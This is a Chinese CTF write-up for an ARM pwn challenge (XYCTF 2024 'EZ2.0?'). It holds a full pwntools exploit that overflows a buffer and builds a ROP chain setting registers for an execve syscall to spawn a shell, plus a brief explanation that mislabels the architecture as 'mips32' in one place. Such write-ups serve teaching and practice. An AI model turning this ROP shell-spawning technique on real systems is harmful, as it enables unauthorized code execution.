[XYCTF新生赛2024]-PWN:EZ2.0?(arm架构,arm架构下的系统调用)

查看保护

查看ida

完整exp:

复制代码
from pwn import*

p=process('./arm')
p=remote('gz.imxbt.cn',20082)
svc=0x0001c58c
mov_r2_r4_blx_r3=0x00043224
pop_r7=0x00027d78
pop_r4=0x000104e0
pop_r3=0x00010160
pop_r1=0x0005f824
pop_r0=0x0005f73c
sh=0x0008A090

payload=b'a'*0x44
payload+=p32(pop_r0)+p32(sh)
payload+=p32(pop_r1)+p32(0)
payload+=p32(pop_r3)+p32(svc)
payload+=p32(pop_r4)+p32(0)
payload+=p32(pop_r7)+p32(0xB)
payload+=p32(mov_r2_r4_blx_r3)

p.send(payload)

p.interactive()

因为是arm架构,所以我们要覆盖LR寄存器控制返回地址,对于mips32架构,R0~R3寄存器负责传参,R7寄存器传递系统调用号。这里覆盖R3为SVC是因为后面有跳转R3的指令,覆盖R4是为了后面把R2寄存器覆盖为0。

相关推荐
文刀竹肃10 小时前
Masscan工具详解
安全·网络安全
Xudde.11 小时前
friendly2靶机渗透
笔记·学习·安全·web安全·php
NewCarRen12 小时前
适用于低流量和高流量场景的车载自组织网络认证与验证方案
网络安全·汽车网络安全
眠晚晚14 小时前
漏洞发现笔记分享
笔记·web安全·网络安全
QZ1665609515914 小时前
如何统一管理纷繁复杂的后端API?—— 解析API网关的关键作用
网络安全
GZ_TOGOGO17 小时前
网络安全认证考取证书有哪些?
安全·web安全·网络安全·cisp
飞行增长手记17 小时前
IP协议从跨境到物联网的场景化应用
服务器·前端·网络·安全
贝塔实验室18 小时前
新手如何使用Altium Designer创建第一张原理图(二)
arm开发·fpga开发·硬件工程·dsp开发·射频工程·基带工程·嵌入式实时数据库
瀚高PG实验室18 小时前
如何将HGDB安全版(RPM包形式)安装在非root用户下
服务器·网络·安全·瀚高数据库
三七吃山漆18 小时前
Morse Decoder
安全·misc